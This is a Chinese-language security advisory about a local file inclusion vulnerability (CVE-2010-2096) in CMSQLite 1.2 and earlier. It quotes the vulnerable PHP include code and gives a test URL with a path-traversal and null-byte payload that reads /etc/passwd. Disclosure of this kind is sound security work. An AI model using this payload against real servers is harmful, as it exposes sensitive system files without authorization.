安全研究

安全漏洞
CMSQlite mod参数本地文件包含漏洞

发布日期:2010-05-15
更新日期:2010-05-17

受影响系统:
Netzabdruck.de CMSQLite <= 1.2
描述:
BUGTRAQ  ID: 40195
CVE ID: CVE-2010-2096

CMSQLite是基于PHP和SQLite的内容管理系统。

CMSQlite的index.php页面存在本地文件包含漏洞:

/**************** SET MODULE **********************/
if(isset($_GET['mod'])){
    $module=$_GET['mod'];
}else{
    $module="index";
}

...

if(file_exists("template/".$module.".php")){
   include "template/".$module.".php";
}else{
   include "template/index.php";
}

通过更改mod URL参数就可以包含webserver上的任意文件,导致泄漏敏感信息。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://php-security.org/2010/05/15/mops-2010-030-cmsqlite-mod-parameter-local-file-inclusion-vulnerability/index.html
        http://secunia.com/advisories/39840/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://cmsqlite.audit/index.php?c=x&mod=../../../../../../../../../etc/passwd%00x

建议:
厂商补丁:

Netzabdruck.de
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.cmsqlite.net

浏览次数:1980
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障